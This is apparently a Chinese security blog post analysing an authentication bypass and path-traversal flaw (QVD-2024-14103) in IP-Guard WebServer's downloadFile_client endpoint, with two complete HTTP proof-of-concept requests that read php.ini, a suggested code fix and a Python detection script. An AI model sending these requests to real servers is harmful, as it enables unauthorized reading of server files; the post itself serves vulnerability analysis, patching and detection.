前言
这个漏洞看完索然无味,但是手上又刚好有源码,不看他一下又觉得可惜
权限绕过漏洞(QVD-2024-14103)简单分析
网上冲浪的时候,看到个买不起的CSDN专栏
这里基本上定位到是_mApplyList 出了问题,前面两个是ipguard webserver的运行目录,之前看过几眼IP-Guard有点印象,大概就是在 ipg/application/controllers/appr/mApplyList.php ,是个移动网页的应用接口
然后看到他上面写的 downloadFile_client 根据注释,大概就是一个/从本地web服务器下载文件到本地/ _的功能,这里代码很长,就简单截图看下是干什么的,要传什么,这个函数我会扔到pastebin上面去https://dpaste.org/dhDnU
1、首先这里传了几个值
langConfig和backparam是控制语言版本和水印的?基本上可以不用看,而且也可以不用传,不影响整个函数
看到这里判断了是否传入了path ,_fileName _和action ,并且将_path _赋值给了_filedir
file_dir = f"tempFile/{path}"
2.、判断_action _是不是download ,这里其实有两个逻辑,_review _和download ,不是_download _也不是_review _在上面会被处理成error ,那么看下_download _会怎么处理
可以看到,首先使用 fopen 打开了本地文件,也就是_ filedir ,然后把 fileBaseName ,也就是_ filename _传到了_headers 中,再把 fp 以 buffer 的模式输出到 response _中,那么这里尝试构造一下payload ,这里知道_tempFile_在 _TEC\WebServer\www\ipg\tempFile _中
GET /ipg/appr/MApplyList/downloadFile_client?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download HTTP/1.1 Host: 192.168.50.22 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
但是很明显的被重定向到登陆了,所以目前不行
3、 再看一眼CSDN,他在末尾传了一个 /getdatarecord ,去看一下这里有什么蹊跷
可以看到func获取了最后一个_ / _后的值,如果这个值是getdatarecord ,则记录未授权登陆的errorlog ,然后这里没有redirect ,而是直接_return _结束了,看来是这里造成了权限绕过,那么再整理一下poc,就变成了这样
GET /ipg/appr/MApplyList/downloadFile_client/getdatarecord?path=..%2F..%2F..%2FApache%2Fbin%2Fphp.ini&filename=1&action=download HTTP/1.1 Host: 192.168.50.22 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
4.、成功读取到phpinfo
修复?
看了上面的逻辑之后,可以知道,在判断_ getdatarecord 记录 errorlog _之后增加一个redirect ,而不是直接_return _可以解决这个权限绕过问题
if($func != 'download') { if ($func == 'getdatarecord') { $this->errorresult(ErrorCode::OERR_NOT_LOGIN); redirect("appr/SignIn"); return ; } redirect("appr/SignIn"); return ; }
修改完成后,重启服务再复测一下,可以看到变成_307 _跳转了
这里又拿到了一份4.82.0607.0 的程序
在这个程序中,限制了path 的目录,str_replace 掉了所有的/ 和\ ,也就是不能这么轻松读取到php.ini 了
检测程序
所以就简单写个检测程序 GitHub - index2014/IP-Guard-getdatarecord-checker: IP-guard WebServer存在权限绕过漏洞(QVD-2024-14103) 检测程序
import requests import argparse def check(url) -> bool: try: result = False if url: response = requests.get(f"{url}/ipg/appr/MApplyList/downloadFile_client/getdatarecord") if response.status_code == 200: result = True except Exception as e: print(f"Error: {e}") return result def main(): parser = argparse.ArgumentParser(description='Check if a URL is vulnerabled.') parser.add_argument('-u', '--url', type=str, help='URL to check', default=None) args = parser.parse_args() url = args.url if url: if check(url): print("URL is vulnerabled.") else: print("URL is not vulnerabled.") else: print("-u target No URL provided.") if __name__ == "__main__": main()
小结
那是真给不起CSDN的订阅费呀,索然无味又浪费了一个晚上